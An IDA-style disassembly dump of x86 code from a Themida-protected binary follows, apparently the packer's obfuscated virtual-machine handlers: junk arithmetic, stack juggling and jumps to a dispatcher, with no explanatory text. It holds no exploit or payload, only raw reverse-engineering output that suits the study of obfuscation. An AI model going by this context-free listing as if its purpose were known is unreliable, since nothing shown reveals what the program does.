loc_552536: ; CODE XREF: sub_55AA5F-9BC2j
add edx, 3BDA4DD9h
mov ebp, [esp+8+var_8]
add esp, 4
push ebp
mov ebp, 4
sub edx, 21F21665h
sub edx, ebp
add edx, 21F21665h
pop ebp
push 459Ch
mov [esp+8+var_8], edx
jmp loc_557275
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552564: ; CODE XREF: sub_556A70+3A00j
xor [esp+0Ch+var_C], ebp
xor ebp, [esp+0Ch+var_C]
pop esp
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_552570: ; CODE XREF: sub_556A70-5898j
xor ebx, eax
movzx ax, byte ptr [eax]
push small 3668h
mov word ptr [esp-10h+arg_C], ax
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_552583: ; CODE XREF: sub_556A70-19DEj
mov ecx, 8801921h
push 137Fh
mov [esp-0Ch+arg_8], ebp
mov ebp, 581251D2h
xor ecx, ebp
push [esp-0Ch+arg_8]
jmp loc_554EC7
; ---------------------------------------------------------------------------
loc_55259F: ; CODE XREF: sub_556A70+6445j
add edi, edx
jmp loc_5597C2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5525A6: ; CODE XREF: Themida_:00556807j
mov [esp], edx
jmp loc_551DF1
; ---------------------------------------------------------------------------
loc_5525AE: ; CODE XREF: Themida_:0055C28Bj
push edi
push 73854187h
mov edi, [esp]
add esp, 4
not edi
add edi, 74346A81h
mov edx, edi
pop edi
jmp loc_55ACDC
; ---------------------------------------------------------------------------
loc_5525CA: ; CODE XREF: Themida_:0055A272j
sub edi, esi
pop esi
add edi, 39AF0ADEh
add edi, 8D5AE854h
jmp loc_55224E
; ---------------------------------------------------------------------------
loc_5525DE: ; CODE XREF: Themida_:00555401j
sub al, ch
pop ecx
add al, 0A0h
add al, bl
sub al, 0A0h
push ebx
jmp loc_55C8D6
; =============== S U B R O U T I N E =======================================
sub_5525ED proc near ; CODE XREF: sub_556A70+122Dj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553991 SIZE 0000000D BYTES
sub esp, 4
jmp loc_553991
sub_5525ED endp
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2D87h
mov [esp], edx
mov edx, esp
push 6651h
mov [esp], edi
push edx
mov edx, 4
mov edi, edx
pop edx
add edx, edi
pop edi
sub esp, 4
mov [esp], ecx
jmp loc_55CCE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552622: ; CODE XREF: sub_556A70+3D8Aj
push 7D04h
mov [esp-4+arg_0], eax
push 257Dh
jmp loc_55A9CC
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_552634 proc near ; CODE XREF: sub_55CC90-43D9j
; FUNCTION CHUNK AT 00550E1B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554075 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055415A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055451A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00556A61 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559993 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055AA7F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055B631 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BE06 SIZE 0000001D BYTES
push ebp
jmp loc_55415A
sub_552634 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_55263A: ; CODE XREF: Themida_:0055ACB6j
not ecx
sub ecx, 39EE1631h
jmp loc_5545A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552647: ; CODE XREF: sub_556A70+2D22j
push 3026h
mov [esp+4+var_4], ebx
mov ebx, eax
mov ebp, ebx
mov ebx, [esp+4+var_4]
jmp loc_556E05
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55265B proc near ; CODE XREF: sub_556A70+35BAj
push ebp
push 33B93146h
pop ebp
jmp loc_5575B5
sub_55265B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553E6A
loc_552667: ; CODE XREF: sub_553E6A+1B23j
pop ebp
sub eax, ecx
push esi
mov esi, 48311202h
shl esi, 7
inc esi
jmp loc_5572E0
; END OF FUNCTION CHUNK FOR sub_553E6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552679: ; CODE XREF: sub_556A70-3BCj
sub bx, 6710h
mov si, word ptr [esp+4+var_4]
add esp, 2
add bx, 4EACh
movzx eax, ax
push small 7DA8h
mov word ptr [esp+2+var_4+2], ax
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55269D: ; CODE XREF: sub_556A70-237Bj
push esp
pop edx
jmp loc_551C51
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5526A4: ; CODE XREF: Themida_:00551A37j
push esp
jmp loc_556C26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_5526AA: ; CODE XREF: sub_552B74+2E68j
mov ebx, 4BD13409h
add edi, ebx
pop ebx
add edi, 35545AAAh
pop esi
movzx eax, al
push dword ptr [edi+eax*4]
push 0EC3h
mov [esp+8+var_8], ecx
jmp loc_55538F
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5526CC: ; CODE XREF: sub_556A70+51A0j
ror word ptr [esp+2+var_4+2], cl
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5526D6 proc near ; CODE XREF: sub_550E2C+55ADj
; FUNCTION CHUNK AT 00551EBF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00552A29 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558F69 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055C8B1 SIZE 0000000B BYTES
push ebp
mov ebp, 2DB4288Dh
jmp loc_551EBF
sub_5526D6 endp
; ---------------------------------------------------------------------------
loc_5526E1: ; CODE XREF: Themida_:00558D51j
add ecx, 655E300Fh
xor edi, ecx
pop ecx
or edi, 34202393h
push 35CEh
mov [esp], edx
mov edx, 6C886756h
xor edi, edx
jmp loc_551E07
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552704: ; CODE XREF: sub_556A70+D1Aj
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552709: ; CODE XREF: Themida_:0055B524j
sub esp, 4
mov [esp], eax
mov eax, 4
add edx, eax
jmp loc_554A06
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_556258
; ---------------------------------------------------------------------------
loc_55272C: ; CODE XREF: Themida_:00550A86j
mov esi, 2FB53007h
push esi
not dword ptr [esp]
pop esi
and esi, 72C00BC6h
add esi, 0AFBFF442h
add ebp, esi
mov esi, [esp]
push esi
jmp loc_55672C
; ---------------------------------------------------------------------------
lodsb
push small 265Eh
mov [esp], bx
sub esp, 4
jmp loc_557D16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55275E: ; CODE XREF: sub_556A70-978j
not esi
sub esi, 475C382Dh
dec esi
sub esi, 85ED89A4h
sub edx, esi
pop esi
jmp loc_5597BB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552775: ; CODE XREF: Themida_:005551C9j
push dx
mov dx, 3E26h
sub word ptr [esp+4], 34D2h
jmp loc_55A341
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552787: ; CODE XREF: sub_556A70-2E70j
add esp, 4
jmp loc_55438D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55278F: ; CODE XREF: Themida_:00555B6Fj
push dword ptr [esp+4]
pop ebp
jmp $+5
pop dword ptr [esp]
mov esp, [esp]
idiv cx
push eax
push esp
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 618F0E73h
xor ebp, 618F0E77h
jmp loc_556E2E
; ---------------------------------------------------------------------------
loc_5527BE: ; CODE XREF: Themida_:00554979j
add esi, eax
sub esi, 386A0DC7h
jmp loc_55423F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5527CB: ; CODE XREF: sub_556A70+4B8Ej
add esp, 4
sub ebx, esi
mov esi, [esp-6+arg_0+2]
add esp, 4
pop small word ptr [eax]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push edi
mov edi, esp
add edi, 4
sub edi, 2
xchg edi, [esp]
jmp loc_555A89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B16
loc_5527FB: ; CODE XREF: sub_553B16+590Cj
pop eax
add edx, 0CF256E73h
sub eax, 36003F46h
jmp loc_557A79
; END OF FUNCTION CHUNK FOR sub_553B16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_55280C: ; CODE XREF: sub_55515F-4084j
push ecx
jmp loc_554D05
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552812: ; CODE XREF: sub_556A70-4FB8j
xchg eax, [esp-14h+arg_10]
push [esp-14h+arg_10]
pop eax
sub esp, 4
mov [esp-10h+arg_C], edx
mov edx, esp
jmp loc_558A14
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554BBA
loc_552826: ; CODE XREF: sub_554BBA-288Fj
pop ebx
shr ecx, 0
jmp loc_5570E3
; END OF FUNCTION CHUNK FOR sub_554BBA
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5341h
mov [esp], ecx
push ecx
mov ecx, esp
push edi
mov edi, 667E2632h
and edi, 1BCC4918h
xor edi, 26134566h
shr edi, 6
neg edi
shl edi, 8
add edi, 917D1504h
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
jmp loc_55B8B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552873: ; CODE XREF: sub_556A70+2446j
push ecx
push esp
jmp loc_554472
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55287A: ; CODE XREF: Themida_:00558F0Cj
push dword ptr [esp+4]
pop edi
jmp loc_5524E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CC90
loc_552884: ; CODE XREF: sub_55CC90-BBBBj
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp+0]
push [esp+4+var_4]
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
add esp, 4
push 44E5h
jmp loc_55887D
; END OF FUNCTION CHUNK FOR sub_55CC90
; ---------------------------------------------------------------------------
loc_5528A3: ; CODE XREF: Themida_:00557DE0j
mov esi, esp
push edi
push ebp
jmp loc_555E46
; ---------------------------------------------------------------------------
loc_5528AC: ; CODE XREF: Themida_:00558ADEj
push ebp
jmp loc_559F45
; ---------------------------------------------------------------------------
loc_5528B2: ; CODE XREF: Themida_:0055C825j
add esp, 4
sub esi, 338D03E0h
jmp loc_55B941
; ---------------------------------------------------------------------------
loc_5528C0: ; CODE XREF: Themida_:0055AD60j
sub esp, 4
mov [esp], ebp
mov ebp, 25926E05h
inc ebp
and ebp, 75796C09h
sub ebp, 39D90D6Fh
neg ebp
xor ebp, 63D5872Ah
add ebp, 423928D1h
add ebp, 46A9B0EEh
add ecx, ebp
pop ebp
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
rol word ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_552905: ; CODE XREF: Themida_:005548D1j
shl edx, 6
xor edx, 60B5C7DFh
xor esi, edx
mov edx, [esp]
add esp, 4
or esi, 6B09055Ch
push edi
push 0EF29CF5Eh
pop edi
jmp loc_5545B1
; =============== S U B R O U T I N E =======================================
sub_55292B proc near ; CODE XREF: sub_556A70+217Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00558903 SIZE 00000007 BYTES
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
mov [esp+0], ecx
push edx
jmp loc_558903
sub_55292B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552944: ; CODE XREF: sub_556A70-3ED1j
pop edx
jmp sub_552E24
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55294A: ; CODE XREF: sub_552B74-1A91j
mov bh, 1Eh
and cl, bh
jmp loc_55818C
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
loc_552953: ; CODE XREF: Themida_:0055A736j
push ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552963: ; CODE XREF: sub_556A70-5102j
pop ebp
neg edx
jmp loc_550F19
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55296B: ; CODE XREF: Themida_:00551CB3j
add eax, 0DD80FCCh
sub eax, ebx
sub eax, 0DD80FCCh
jmp loc_557BF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551B42
loc_55297C: ; CODE XREF: sub_551B42+74DCj
add esp, 4
; END OF FUNCTION CHUNK FOR sub_551B42
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55297F: ; CODE XREF: sub_551B42+327Dj
; sub_556A70+27D3j
push edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp-4+arg_0]
pop esp
jmp loc_551973
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_552998: ; CODE XREF: sub_555B85-4994j
push ecx
mov ecx, 36662BF2h
add ecx, 6131278Ah
jmp loc_550D50
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_5529A9: ; CODE XREF: sub_553651+2DFBj
sub ebx, 617F52E6h
jmp loc_55C638
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
loc_5529B4: ; CODE XREF: Themida_:005583E8j
push ax
mov ah, 2Dh
add bh, 24h
add bh, ah
sub bh, 24h
mov ax, [esp]
add esp, 2
jmp loc_55A6AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5529CF: ; CODE XREF: sub_556A70-37AFj
push ecx
jmp loc_5541F7
; ---------------------------------------------------------------------------
loc_5529D5: ; CODE XREF: sub_556A70-38D7j
shr bh, 6
not bh
xor bh, 8Dh
sub bh, 0Eh
sub bh, 0C1h
add dl, bh
mov ebx, [esp-4+arg_0]
add esp, 4
or dl, 1Ch
push ebx
mov bh, 90h
not bh
jmp loc_55457C
; ---------------------------------------------------------------------------
loc_5529F8: ; CODE XREF: sub_556A70-5D73j
push [esp-0Ch+arg_8]
pop eax
push esi
mov esi, esp
jmp loc_556C5C
; ---------------------------------------------------------------------------
loc_552A04: ; CODE XREF: sub_556A70-23AAj
push edi
jmp loc_552127
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552A0A: ; CODE XREF: Themida_:00552E39j
pop edx
sub eax, 47E35605h
add eax, esi
add eax, 47E35605h
sub eax, 2F235685h
pop esi
jmp loc_552219
; ---------------------------------------------------------------------------
lodsd
push edx
jmp loc_559B8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5526D6
loc_552A29: ; CODE XREF: sub_5526D6+68AAj
push esi
jmp loc_5578FB
; END OF FUNCTION CHUNK FOR sub_5526D6
; ---------------------------------------------------------------------------
loc_552A2F: ; CODE XREF: Themida_:0055802Ej
mov eax, esp
add eax, 4
push 5019h
mov [esp], esi
mov esi, 4
push edx
jmp loc_552E32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552A49: ; CODE XREF: sub_556A70+5753j
not esi
xchg esi, ecx
push eax
mov eax, 635461A9h
not eax
not eax
or eax, 78825C65h
dec eax
jmp loc_551954
; ---------------------------------------------------------------------------
loc_552A62: ; CODE XREF: sub_556A70+15A5j
push eax
mov eax, 4
add edi, eax
mov eax, [esp+4+var_4]
jmp loc_552CD8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_553077
; ---------------------------------------------------------------------------
loc_552A88: ; CODE XREF: Themida_:0055194Fj
pop esi
pop dword ptr [esp]
pop esp
ror byte ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_552A96: ; CODE XREF: Themida_:005547D3j
mov edx, 4
sub ebp, 33984A5Dh
add ebp, edx
add ebp, 33984A5Dh
mov edx, [esp]
add esp, 4
push eax
mov eax, 2
add ebp, 0ABC6925h
jmp loc_555D28
; ---------------------------------------------------------------------------
loc_552AC3: ; CODE XREF: Themida_:0055AD2Cj
add ch, bh
sub ch, 88h
mov bx, [esp]
jmp loc_559B20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554E85
loc_552AD1: ; CODE XREF: sub_554E85+3Dj
mov eax, ebp
pop ebp
mov edx, [esp-4+arg_0]
add esp, 4
push 6559h
jmp loc_557956
; END OF FUNCTION CHUNK FOR sub_554E85
; ---------------------------------------------------------------------------
loc_552AE4: ; CODE XREF: Themida_:005552C6j
inc ebp
dec ebp
xor ebp, 10065AAFh
jmp loc_5582FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552AF1: ; CODE XREF: sub_556A70+D0Bj
mov esp, [esp+4+var_4]
mov eax, [esp+4+var_4]
add esp, 4
not eax
xchg eax, edi
add edi, 0C4F48785h
jmp loc_553B51
; ---------------------------------------------------------------------------
loc_552B08: ; CODE XREF: sub_556A70+21Cj
add ebp, ecx
pop ecx
xchg ebp, [esp-4+arg_0]
jmp loc_552BC5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_552B13: ; CODE XREF: sub_55AA5F+1Bj
sub ebx, 0D026726Bh
jmp loc_5532C6
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552B1E: ; CODE XREF: sub_556A70+5201j
shl si, 6
inc si
jmp loc_559883
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552B29: ; CODE XREF: Themida_:0055C9F7j
push 7310h
jmp loc_559C11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552B33: ; CODE XREF: sub_556A70-4595j
mov eax, 4
add ecx, eax
pop eax
push ecx
push [esp+arg_0]
pop ecx
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
jmp loc_556B24
; ---------------------------------------------------------------------------
loc_552B4C: ; CODE XREF: sub_556A70+EA1j
sub ebp, 0EBF6CCh
mov esi, ebp
pop ebp
sub eax, 701D044Dh
sub eax, esi
push esi
mov esi, 701D044Dh
add eax, 5A3B430Ah
jmp loc_553DEB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552B6C: ; CODE XREF: Themida_:00550D2Ej
and ah, 0FAh
jmp loc_5541CE
; =============== S U B R O U T I N E =======================================
sub_552B74 proc near ; CODE XREF: sub_556A70+2FA2j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00550B13 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005510E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005512C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00552384 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005526AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055294A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552F85 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00553274 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005534BF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553729 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055385A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00553A60 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00553B05 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 005543EB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055538F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005559CD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00557FAC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055818C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055856F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00558BB4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559384 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559E79 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A32A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B790 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B7CE SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0055BB7E SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0055BC44 SIZE 00000021 BYTES
sub esp, 2
jmp loc_5512C4
sub_552B74 endp
; ---------------------------------------------------------------------------
loc_552B7F: ; CODE XREF: Themida_:0055634Aj
sub eax, ebp
sub esp, 4
mov [esp], edx
push ebx
mov ebx, 2B715068h
mov edx, ebx
pop ebx
sub eax, edx
jmp loc_555DC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552B97: ; CODE XREF: sub_556A70+3108j
xor edx, 5B06441Bh
xor ebp, edx
jmp loc_552944
; ---------------------------------------------------------------------------
loc_552BA4: ; CODE XREF: sub_556A70-1768j
neg ebp
add ebp, 57A136C1h
jmp loc_55B464
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552BB1: ; CODE XREF: Themida_:00555DCDj
sub eax, 5FE01CD6h
jmp loc_5522CF
; ---------------------------------------------------------------------------
loc_552BBB: ; CODE XREF: Themida_:0055BF53j
xor edi, esi
pop esi
add eax, edi
jmp loc_55472E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552BC5: ; CODE XREF: sub_556A70-3F62j
pop esp
push eax
mov ah, 0ACh
shl ah, 3
push ecx
jmp loc_5513EB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552BD2: ; CODE XREF: Themida_:00553897j
sub esi, edx
pop edx
xchg esi, [esp]
pop esp
mov [esp], edx
push esp
jmp loc_556292
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552BE2: ; CODE XREF: sub_556A70+4267j
mov [esp+0], edx
jmp sub_5584F8
; ---------------------------------------------------------------------------
loc_552BEA: ; CODE XREF: sub_556A70-129Cj
pop dword ptr [esp+0]
xchg ebx, ecx
not ebx
xchg ebx, ecx
jmp loc_5553A3
; ---------------------------------------------------------------------------
loc_552BF8: ; CODE XREF: sub_556A70-1F7Ej
mov al, 0A3h
jmp sub_55AE6E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557FA0
loc_552BFF: ; CODE XREF: sub_557FA0+7j
push ecx
mov ecx, 65693F17h
and ecx, 1AFB36B2h
jmp sub_55319E
; END OF FUNCTION CHUNK FOR sub_557FA0
; ---------------------------------------------------------------------------
loc_552C10: ; CODE XREF: Themida_:00553D3Dj
xor eax, ebx
pop ebx
push 5C9Ch
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_555EB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552C28: ; CODE XREF: sub_556A70+B0Cj
push esp
pop edx
add edx, 4
add edx, 4
xor edx, [esp-4+arg_0]
xor [esp-4+arg_0], edx
jmp loc_55AB5A
; ---------------------------------------------------------------------------
loc_552C41: ; CODE XREF: sub_556A70-CD7j
add al, ch
mov ecx, [esp-4+arg_0]
push ebp
jmp loc_558E19
; ---------------------------------------------------------------------------
loc_552C4C: ; CODE XREF: sub_556A70-3D1Ej
add edx, 4
xchg edx, [esp+0]
jmp loc_556CC7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550F53
loc_552C5A: ; CODE XREF: sub_550F53+6j
push edi
mov edi, 73694DE5h
not edi
push ebx
mov ebx, 4EFC72D2h
shr ebx, 1
xor ebx, 3AC57463h
and ebx, 1C936D20h
add ebx, 122F0E7Dh
jmp loc_5583A0
; END OF FUNCTION CHUNK FOR sub_550F53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552C81: ; CODE XREF: sub_556A70+740j
mov [esp+0], eax
xchg eax, [esp+0]
not eax
jmp loc_559D72
; ---------------------------------------------------------------------------
loc_552C8E: ; CODE XREF: sub_556A70-2F15j
add eax, 7ED5452Dh
add eax, 6F796FCBh
push ebp
push esp
pop ebp
add ebp, 4
push edx
mov edx, 4
sub ebp, edx
pop edx
push ebp
push [esp+8+var_4]
mov ebp, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
pop esp
jmp loc_559719
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552CBE: ; CODE XREF: Themida_:00550C94j
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_55BD18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552CD8: ; CODE XREF: sub_556A70-4003j
add esp, 4
jmp sub_559B2A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552CE0: ; CODE XREF: Themida_:005515EAj
pop ebx
push ebx
mov ebx, 2
sub ecx, 1CDF1C16h
jmp loc_554459
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552CF2: ; CODE XREF: sub_556A70-1650j
mov [esp+0], esi
push esp
pop esi
add esi, 4
push 4D1Eh
jmp loc_559AFE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552D07: ; CODE XREF: Themida_:0055CA70j
pop ebx
pop dword ptr [esp]
pop esp
push cx
mov cl, 7Bh
sub bl, 0EAh
sub bl, cl
add bl, 0EAh
jmp loc_5514CB
; ---------------------------------------------------------------------------
loc_552D1D: ; CODE XREF: Themida_:0055320Fj
push eax
jmp loc_550B48
; ---------------------------------------------------------------------------
loc_552D23: ; CODE XREF: Themida_:00554BC4j
mov ecx, esi
mov edx, ecx
pop ecx
pop esi
add eax, edx
mov edx, [esp]
add esp, 4
push edi
mov edi, 2
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552D4C: ; CODE XREF: sub_556A70-55BAj
add edx, 4
jmp loc_552C4C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552D57: ; CODE XREF: Themida_:00557CDEj
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_557E0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552D69: ; CODE XREF: sub_556A70+8F3j
inc ecx
inc ecx
not ecx
and ecx, 5E895096h
dec ecx
add ecx, 111B7DDDh
jmp loc_551C34
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552D7F: ; CODE XREF: Themida_:0055157Dj
push eax
mov ah, 0B9h
mov cl, 65h
sub cl, ah
pop eax
push edx
jmp loc_554327
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_552D8D: ; CODE XREF: sub_5567EA-53C9j
xor ecx, 6F8D382Fh
or edx, ecx
pop ecx
jmp loc_5523F7
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_552D9B: ; CODE XREF: sub_5566B9+2F51j
add esp, 4
push 2C93h
mov [esp+10h+var_10], esi
mov esi, 4
add ebx, esi
mov esi, [esp+10h+var_10]
jmp loc_55B2E5
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_552DB5: ; CODE XREF: Themida_:00554C0Aj
pop edi
push 6390h
mov [esp], edx
push 2
pop edx
jmp loc_551A31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552DC9: ; CODE XREF: sub_556A70-3882j
push 387Fh
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_554605
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
